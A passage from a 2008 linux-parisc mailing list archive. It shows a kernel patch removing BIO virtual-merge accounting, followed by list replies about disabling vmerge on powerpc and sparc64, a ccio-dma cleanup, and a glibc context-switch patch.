 block/blk-merge.c          |   72 +++------------------------------------------
 drivers/parisc/ccio-dma.c  |    2 -
 drivers/parisc/sba_iommu.c |    2 -
 fs/bio.c                   |    6 +--
 include/asm-alpha/io.h     |    3 -
 include/asm-ia64/io.h      |   26 +---------------
 include/asm-parisc/io.h    |    6 ---
 include/asm-powerpc/io.h   |    7 ----
 include/asm-sparc64/io.h   |    1 
 include/asm-x86/io_64.h    |    3 -
 include/linux/bio.h        |   15 ---------
 13 files changed, 10 insertions(+), 144 deletions(-)

Index: linux-2.6.26-fast/arch/parisc/kernel/setup.c
===================================================================
--- linux-2.6.26-fast.orig/arch/parisc/kernel/setup.c	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/arch/parisc/kernel/setup.c	2008-07-15 16:20:15.000000000 +0200
@@ -57,11 +57,6 @@ int parisc_bus_is_phys __read_mostly = 1
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
-/* This sets the vmerge boundary and size, it's here because it has to
- * be available on all platforms (zero means no-virtual merging) */
-unsigned long parisc_vmerge_boundary = 0;
-unsigned long parisc_vmerge_max_size = 0;
-
 void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
Index: linux-2.6.26-fast/arch/x86/kernel/pci-dma.c
===================================================================
--- linux-2.6.26-fast.orig/arch/x86/kernel/pci-dma.c	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/arch/x86/kernel/pci-dma.c	2008-07-15 16:20:15.000000000 +0200
@@ -30,11 +30,6 @@ int no_iommu __read_mostly;
 /* Set this to 1 if there is a HW IOMMU in the system */
 int iommu_detected __read_mostly = 0;
 
-/* This tells the BIO block layer to assume merging. Default to off
-   because we cannot guarantee merging later. */
-int iommu_bio_merge __read_mostly = 0;
-EXPORT_SYMBOL(iommu_bio_merge);
-
 dma_addr_t bad_dma_address __read_mostly = 0;
 EXPORT_SYMBOL(bad_dma_address);
 
@@ -151,7 +146,6 @@ static __init int iommu_setup(char *p)
 		}
 
 		if (!strncmp(p, "biomerge", 8)) {
-			iommu_bio_merge = 4096;
 			iommu_merge = 1;
 			force_iommu = 1;
 		}
Index: linux-2.6.26-fast/block/blk-merge.c
===================================================================
--- linux-2.6.26-fast.orig/block/blk-merge.c	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/block/blk-merge.c	2008-07-15 16:20:15.000000000 +0200
@@ -66,7 +66,7 @@ void blk_recalc_rq_segments(struct reque
 		 */
 		high = page_to_pfn(bv->bv_page) > q->bounce_pfn;
 		if (high || highprv)
-			goto new_hw_segment;
+			goto new_segment;
 		if (cluster) {
 			if (seg_size + bv->bv_len > q->max_segment_size)
 				goto new_segment;
@@ -74,8 +74,6 @@ void blk_recalc_rq_segments(struct reque
 				goto new_segment;
 			if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bv))
 				goto new_segment;
-			if (BIOVEC_VIRT_OVERSIZE(hw_seg_size + bv->bv_len))
-				goto new_hw_segment;
 
 			seg_size += bv->bv_len;
 			hw_seg_size += bv->bv_len;
@@ -83,17 +81,11 @@ void blk_recalc_rq_segments(struct reque
 			continue;
 		}
 new_segment:
-		if (BIOVEC_VIRT_MERGEABLE(bvprv, bv) &&
-		    !BIOVEC_VIRT_OVERSIZE(hw_seg_size + bv->bv_len))
-			hw_seg_size += bv->bv_len;
-		else {
-new_hw_segment:
-			if (nr_hw_segs == 1 &&
-			    hw_seg_size > rq->bio->bi_hw_front_size)
-				rq->bio->bi_hw_front_size = hw_seg_size;
-			hw_seg_size = BIOVEC_VIRT_START_SIZE(bv) + bv->bv_len;
-			nr_hw_segs++;
-		}
+		if (nr_hw_segs == 1 &&
+		    hw_seg_size > rq->bio->bi_hw_front_size)
+			rq->bio->bi_hw_front_size = hw_seg_size;
+		hw_seg_size = bv->bv_len;
+		nr_hw_segs++;
 
 		nr_phys_segs++;
 		bvprv = bv;
@@ -146,22 +138,6 @@ static int blk_phys_contig_segment(struc
 	return 0;
 }
 
-static int blk_hw_contig_segment(struct request_queue *q, struct bio *bio,
-				 struct bio *nxt)
-{
-	if (!bio_flagged(bio, BIO_SEG_VALID))
-		blk_recount_segments(q, bio);
-	if (!bio_flagged(nxt, BIO_SEG_VALID))
-		blk_recount_segments(q, nxt);
-	if (!BIOVEC_VIRT_MERGEABLE(__BVEC_END(bio), __BVEC_START(nxt)) ||
-	    BIOVEC_VIRT_OVERSIZE(bio->bi_hw_back_size + nxt->bi_hw_front_size))
-		return 0;
-	if (bio->bi_hw_back_size + nxt->bi_hw_front_size > q->max_segment_size)
-		return 0;
-
-	return 1;
-}
-
 /*
  * map a request to scatterlist, return number of sg entries setup. Caller
  * must make sure sg can hold rq->nr_phys_segments entries
@@ -317,18 +293,6 @@ int ll_back_merge_fn(struct request_queu
 	if (!bio_flagged(bio, BIO_SEG_VALID))
 		blk_recount_segments(q, bio);
 	len = req->biotail->bi_hw_back_size + bio->bi_hw_front_size;
-	if (BIOVEC_VIRT_MERGEABLE(__BVEC_END(req->biotail), __BVEC_START(bio))
-	    && !BIOVEC_VIRT_OVERSIZE(len)) {
-		int mergeable =  ll_new_mergeable(q, req, bio);
-
-		if (mergeable) {
-			if (req->nr_hw_segments == 1)
-				req->bio->bi_hw_front_size = len;
-			if (bio->bi_hw_segments == 1)
-				bio->bi_hw_back_size = len;
-		}
-		return mergeable;
-	}
 
 	return ll_new_hw_segment(q, req, bio);
 }
@@ -356,18 +320,6 @@ int ll_front_merge_fn(struct request_que
 		blk_recount_segments(q, bio);
 	if (!bio_flagged(req->bio, BIO_SEG_VALID))
 		blk_recount_segments(q, req->bio);
-	if (BIOVEC_VIRT_MERGEABLE(__BVEC_END(bio), __BVEC_START(req->bio)) &&
-	    !BIOVEC_VIRT_OVERSIZE(len)) {
-		int mergeable =  ll_new_mergeable(q, req, bio);
-
-		if (mergeable) {
-			if (bio->bi_hw_segments == 1)
-				bio->bi_hw_front_size = len;
-			if (req->nr_hw_segments == 1)
-				req->biotail->bi_hw_back_size = len;
-		}
-		return mergeable;
-	}
 
 	return ll_new_hw_segment(q, req, bio);
 }
@@ -399,18 +351,6 @@ static int ll_merge_requests_fn(struct r
 		return 0;
 
 	total_hw_segments = req->nr_hw_segments + next->nr_hw_segments;
-	if (blk_hw_contig_segment(q, req->biotail, next->bio)) {
-		int len = req->biotail->bi_hw_back_size +
-				next->bio->bi_hw_front_size;
-		/*
-		 * propagate the combined length to the end of the requests
-		 */
-		if (req->nr_hw_segments == 1)
-			req->bio->bi_hw_front_size = len;
-		if (next->nr_hw_segments == 1)
-			next->biotail->bi_hw_back_size = len;
-		total_hw_segments--;
-	}
 
 	if (total_hw_segments > q->max_hw_segments)
 		return 0;
Index: linux-2.6.26-fast/include/asm-alpha/io.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-alpha/io.h	2008-07-15 16:19:52.000000000 +0200
+++ linux-2.6.26-fast/include/asm-alpha/io.h	2008-07-15 16:20:15.000000000 +0200
@@ -96,9 +96,6 @@ static inline dma_addr_t __deprecated is
 	return page_to_phys(page);
 }
 
-/* This depends on working iommu.  */
-#define BIO_VMERGE_BOUNDARY	(alpha_mv.mv_pci_tbi ? PAGE_SIZE : 0)
-
 /* Maximum PIO space address supported?  */
 #define IO_SPACE_LIMIT 0xffff
 
Index: linux-2.6.26-fast/include/asm-ia64/io.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-ia64/io.h	2008-07-15 16:19:52.000000000 +0200
+++ linux-2.6.26-fast/include/asm-ia64/io.h	2008-07-15 16:20:15.000000000 +0200
@@ -430,30 +430,8 @@ extern void memcpy_fromio(void *dst, con
 extern void memcpy_toio(volatile void __iomem *dst, const void *src, long n);
 extern void memset_io(volatile void __iomem *s, int c, long n);
 
-# endif /* __KERNEL__ */
-
-/*
- * Enabling BIO_VMERGE_BOUNDARY forces us to turn off I/O MMU bypassing.  It is said that
- * BIO-level virtual merging can give up to 4% performance boost (not verified for ia64).
- * On the other hand, we know that I/O MMU bypassing gives ~8% performance improvement on
- * SPECweb-like workloads on zx1-based machines.  Thus, for now we favor I/O MMU bypassing
- * over BIO-level virtual merging.
- */
 extern unsigned long ia64_max_iommu_merge_mask;
-#if 1
-#define BIO_VMERGE_BOUNDARY	0
-#else
-/*
- * It makes no sense at all to have this BIO_VMERGE_BOUNDARY macro here.  Should be
- * replaced by dma_merge_mask() or something of that sort.  Note: the only way
- * BIO_VMERGE_BOUNDARY is used is to mask off bits.  Effectively, our definition gets
- * expanded into:
- *
- *	addr & ((ia64_max_iommu_merge_mask + 1) - 1) == (addr & ia64_max_iommu_vmerge_mask)
- *
- * which is precisely what we want.
- */
-#define BIO_VMERGE_BOUNDARY	(ia64_max_iommu_merge_mask + 1)
-#endif
+
+# endif /* __KERNEL__ */
 
 #endif /* _ASM_IA64_IO_H */
Index: linux-2.6.26-fast/include/asm-parisc/io.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-parisc/io.h	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/include/asm-parisc/io.h	2008-07-15 16:20:15.000000000 +0200
@@ -4,12 +4,6 @@
 #include <linux/types.h>
 #include <asm/pgtable.h>
 
-extern unsigned long parisc_vmerge_boundary;
-extern unsigned long parisc_vmerge_max_size;
-
-#define BIO_VMERGE_BOUNDARY	parisc_vmerge_boundary
-#define BIO_VMERGE_MAX_SIZE	parisc_vmerge_max_size
-
 #define virt_to_phys(a) ((unsigned long)__pa(a))
 #define phys_to_virt(a) __va(a)
 #define virt_to_bus virt_to_phys
Index: linux-2.6.26-fast/include/asm-powerpc/io.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-powerpc/io.h	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/include/asm-powerpc/io.h	2008-07-15 16:20:15.000000000 +0200
@@ -683,13 +683,6 @@ static inline void * phys_to_virt(unsign
  */
 #define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
 
-/* We do NOT want virtual merging, it would put too much pressure on
- * our iommu allocator. Instead, we want drivers to be smart enough
- * to coalesce sglists that happen to have been mapped in a contiguous
- * way by the iommu
- */
-#define BIO_VMERGE_BOUNDARY	0
-
 /*
  * 32 bits still uses virt_to_bus() for it's implementation of DMA
  * mappings se we have to keep it defined here. We also have some old
Index: linux-2.6.26-fast/include/asm-sparc64/io.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-sparc64/io.h	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/include/asm-sparc64/io.h	2008-07-15 16:20:15.000000000 +0200
@@ -16,7 +16,6 @@
 /* BIO layer definitions. */
 extern unsigned long kern_base, kern_size;
 #define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
-#define BIO_VMERGE_BOUNDARY	8192
 
 static inline u8 _inb(unsigned long addr)
 {
Index: linux-2.6.26-fast/include/asm-x86/io_64.h
===================================================================
--- linux-2.6.26-fast.orig/include/asm-x86/io_64.h	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/include/asm-x86/io_64.h	2008-07-15 16:20:15.000000000 +0200
@@ -304,9 +304,6 @@ void memset_io(volatile void __iomem *a,
 
 #define flush_write_buffers()
 
-extern int iommu_bio_merge;
-#define BIO_VMERGE_BOUNDARY iommu_bio_merge
-
 /*
  * Convert a virtual cached pointer to an uncached pointer
  */
Index: linux-2.6.26-fast/include/linux/bio.h
===================================================================
--- linux-2.6.26-fast.orig/include/linux/bio.h	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/include/linux/bio.h	2008-07-15 16:20:15.000000000 +0200
@@ -26,21 +26,8 @@
 
 #ifdef CONFIG_BLOCK
 
-/* Platforms may set this to teach the BIO layer about IOMMU hardware. */
 #include <asm/io.h>
 
-#if defined(BIO_VMERGE_MAX_SIZE) && defined(BIO_VMERGE_BOUNDARY)
-#define BIOVEC_VIRT_START_SIZE(x) (bvec_to_phys(x) & (BIO_VMERGE_BOUNDARY - 1))
-#define BIOVEC_VIRT_OVERSIZE(x)	((x) > BIO_VMERGE_MAX_SIZE)
-#else
-#define BIOVEC_VIRT_START_SIZE(x)	0
-#define BIOVEC_VIRT_OVERSIZE(x)		0
-#endif
-
-#ifndef BIO_VMERGE_BOUNDARY
-#define BIO_VMERGE_BOUNDARY	0
-#endif
-
 #define BIO_DEBUG
 
 #ifdef BIO_DEBUG
@@ -235,8 +222,6 @@ static inline void *bio_data(struct bio 
 	((bvec_to_phys((vec1)) + (vec1)->bv_len) == bvec_to_phys((vec2)))
 #endif
 
-#define BIOVEC_VIRT_MERGEABLE(vec1, vec2)	\
-	((((bvec_to_phys((vec1)) + (vec1)->bv_len) | bvec_to_phys((vec2))) & (BIO_VMERGE_BOUNDARY - 1)) == 0)
 #define __BIO_SEG_BOUNDARY(addr1, addr2, mask) \
 	(((addr1) | (mask)) == (((addr2) - 1) | (mask)))
 #define BIOVEC_SEG_BOUNDARY(q, b1, b2) \
Index: linux-2.6.26-fast/fs/bio.c
===================================================================
--- linux-2.6.26-fast.orig/fs/bio.c	2008-07-15 16:19:53.000000000 +0200
+++ linux-2.6.26-fast/fs/bio.c	2008-07-15 16:20:15.000000000 +0200
@@ -352,8 +352,7 @@ static int __bio_add_page(struct request
 	 */
 
 	while (bio->bi_phys_segments >= q->max_phys_segments
-	       || bio->bi_hw_segments >= q->max_hw_segments
-	       || BIOVEC_VIRT_OVERSIZE(bio->bi_size)) {
+	       || bio->bi_hw_segments >= q->max_hw_segments) {
 
 		if (retried_segments)
 			return 0;
@@ -390,8 +389,7 @@ static int __bio_add_page(struct request
 	}
 
 	/* If we may be able to merge these biovecs, force a recount */
-	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
-	    BIOVEC_VIRT_MERGEABLE(bvec-1, bvec)))
+	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec)))
 		bio->bi_flags &= ~(1 << BIO_SEG_VALID);
 
 	bio->bi_vcnt++;
Index: linux-2.6.26-fast/drivers/parisc/ccio-dma.c
===================================================================
--- linux-2.6.26-fast.orig/drivers/parisc/ccio-dma.c	2008-07-15 16:29:31.000000000 +0200
+++ linux-2.6.26-fast/drivers/parisc/ccio-dma.c	2008-07-15 16:34:23.000000000 +0200
@@ -1587,8 +1587,6 @@ static int __init ccio_probe(struct pari
 
 	ioc_count++;
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
 	parisc_has_iommu();
 	return 0;
 }
Index: linux-2.6.26-fast/drivers/parisc/sba_iommu.c
===================================================================
--- linux-2.6.26-fast.orig/drivers/parisc/sba_iommu.c	2008-07-15 16:29:31.000000000 +0200
+++ linux-2.6.26-fast/drivers/parisc/sba_iommu.c	2008-07-15 16:34:32.000000000 +0200
@@ -1979,8 +1979,6 @@ sba_driver_callback(struct parisc_device
 	proc_create("sba_iommu-bitmap", 0, root, &sba_proc_bitmap_fops);
 #endif
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;
 	parisc_has_iommu();
 	return 0;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Sat, 19 Jul 2008 21:17:08 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <1216520228.3376.33.camel@localhost.localdomain>
References: <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
	 <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
	 <20080719.002826.73806419.davem@davemloft.net>
	 <Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216520246 32626 80.91.229.12 (20 Jul 2008 02:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 02:17:26 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 04:18:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKOV2-0003bt-FU
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 04:18:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755115AbYGTCRQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 22:17:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755086AbYGTCRQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 22:17:16 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:55172 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754947AbYGTCRO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 22:17:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 2CFFC80FC;
	Sat, 19 Jul 2008 21:17:12 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216520232; bh=X2ZK7ze1BHWLMENryFPIOIJGjKxnq+lNpBoaDTv10w
	E=; l=2150; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=XB+CpJC2+hzK1fFGqn3bBb5qq8NlQA0dRl0aq
	67qSmVWiWM5TS05Fbtyl0sALILhyimfXI8UgIccP40l86+ONeS099zMpTdQDD3dl+F6
	991Vg+5XiSCOQ5aaSOmCsrsL688Jc/HBS1H+oGt5p04K/zv79uB1Bii2kLbsCoolBG0
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7XHVGG1MaPZr; Sat, 19 Jul 2008 21:17:10 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 32A2E7EFD;
	Sat, 19 Jul 2008 21:17:10 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216520230; bh=X2ZK7ze1BHWLMENryFPIOIJGjKxnq+lNpBoaDTv10w
	E=; l=2150; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=bDEjOdkaBdSHNeckqHrcfiiMuGB0tR6O7PGro
	ivgFJ6cljHUwkh+GKvuzs2QJ7RNsutQrhmYo1WU+7l8usjlsomcIPKvF/7fqNcySawE
	Ly1koXsc95ZYG2+qQ4RwSXID6GR5GRdI5rOM8d0wB7X1ad2qOudBxkTUqFsmDCJrz6Y
	=
In-Reply-To: <Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:530 gmane.linux.kernel:709321 gmane.linux.scsi:43316
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/530>

On Sat, 2008-07-19 at 21:45 -0400, Mikulas Patocka wrote:
> On Sat, 19 Jul 2008, David Miller wrote:
> 
> > From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> > Date: Thu, 17 Jul 2008 22:18:44 +0900
> > 
> > > BTW, as I've already said, I'm not against removing the vmerge
> > > accounting from the block layer.
> > 
> > I am also, as stated, not against this.
> > 
> > Fujita-san, please proposage a patch so that we can put this
> > issue behind us :-)
> 
> Few days ago I created this.
> 
> Another task would be to remove nr_hw_segments from request, bio and queue 
> parameters (if this patch is accepted).

I think we've already established that the code in question is correct
and functional, 

As far as I can tell, virtual merging has always been broken on ppc, so
it shouldn't enable it.  It looks like at some point in history sparc
went from a working vmerge to a non working one (by copying the broken
ppc code), so the correct fix for both of these arches is simply to turn
off virtual merging.

ppc claims to turn off virtual merging, but in fact the define is
broken.  Sparc should now follow ppc.

Try this patch

James

---

diff --git a/include/asm-powerpc/io.h b/include/asm-powerpc/io.h
index 8b62782..0f3212c 100644
--- a/include/asm-powerpc/io.h
+++ b/include/asm-powerpc/io.h
@@ -715,7 +715,7 @@ static inline void * phys_to_virt(unsigned long address)
  * to coalesce sglists that happen to have been mapped in a contiguous
  * way by the iommu
  */
-#define BIO_VMERGE_BOUNDARY	0
+#undef BIO_VMERGE_BOUNDARY
 
 /*
  * 32 bits still uses virt_to_bus() for it's implementation of DMA
diff --git a/include/asm-sparc64/io.h b/include/asm-sparc64/io.h
index 3158960..1da5642 100644
--- a/include/asm-sparc64/io.h
+++ b/include/asm-sparc64/io.h
@@ -16,7 +16,9 @@
 /* BIO layer definitions. */
 extern unsigned long kern_base, kern_size;
 #define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
-#define BIO_VMERGE_BOUNDARY	8192
+
+/* virtual merging doesn't work on sparc now */
+#undef BIO_VMERGE_BOUNDARY
 
 static inline u8 _inb(unsigned long addr)
 {


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] ccio_clear_io_tlb() don't need to compute io page
	number a second time.
Date: Sat, 19 Jul 2008 22:27:40 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20080720022740.GA6427@phobos.i.cabal.ca>
References: <48825DD0.5000308@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216520872 1232 80.91.229.12 (20 Jul 2008 02:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 02:27:52 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 04:28:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKOf9-0005V4-IR
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 04:28:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755201AbYGTC1n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 22:27:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755218AbYGTC1n
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 22:27:43 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:60785 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755201AbYGTC1m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 22:27:42 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id BE09F17806A; Sat, 19 Jul 2008 22:27:40 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <48825DD0.5000308@scarlet.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:531 gmane.linux.kernel:709322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/531>

On Sat, Jul 19, 2008 at 09:34:08PM +0000, Joel Soete wrote:
> --- a/drivers/parisc/ccio-dma.c	2008-07-19 21:17:37.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c	2008-07-19 21:32:54.000000000 +0000
> @@ -643,7 +643,6 @@
>  {
>  	u32 chain_size = 1 << ioc->chainid_shift;
>
> -	iovp &= IOVP_MASK;	/* clear offset bits, just want pagenum */
>  	byte_cnt += chain_size;
>
>  	while(byte_cnt > chain_size) {

applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] Patch for glibc
	getcontext()/makecontext()/setcontext()/swapcontext()
Date: Sat, 19 Jul 2008 22:33:42 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20080720023342.GB6427@phobos.i.cabal.ca>
References: <200807190011.02042.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216521232 1982 80.91.229.12 (20 Jul 2008 02:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 02:33:52 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, Randolph Chung <tausq@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 04:34:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKOkw-0006pz-3t
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 04:34:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755257AbYGTCdn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 22:33:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755269AbYGTCdn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 22:33:43 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:58745 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755257AbYGTCdm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 22:33:42 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 1056B17806A; Sat, 19 Jul 2008 22:33:42 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200807190011.02042.deller@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/532>

On Sat, Jul 19, 2008 at 12:11:01AM +0200, Helge Deller wrote:
> - only integer parameters allowed (but that's usual on most arches)
> - 32bit userspace implementation only
> - do I need to save the FP regs?
> - maybe more?
> 
> Any feedback is very much appreciated.
> (Please be kind, my hppa assembler knowledge isn't that good)
> 

You probably need to save fpregs as well, but you could just steal all
that from setjmp (ordering matters with fprs.)

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
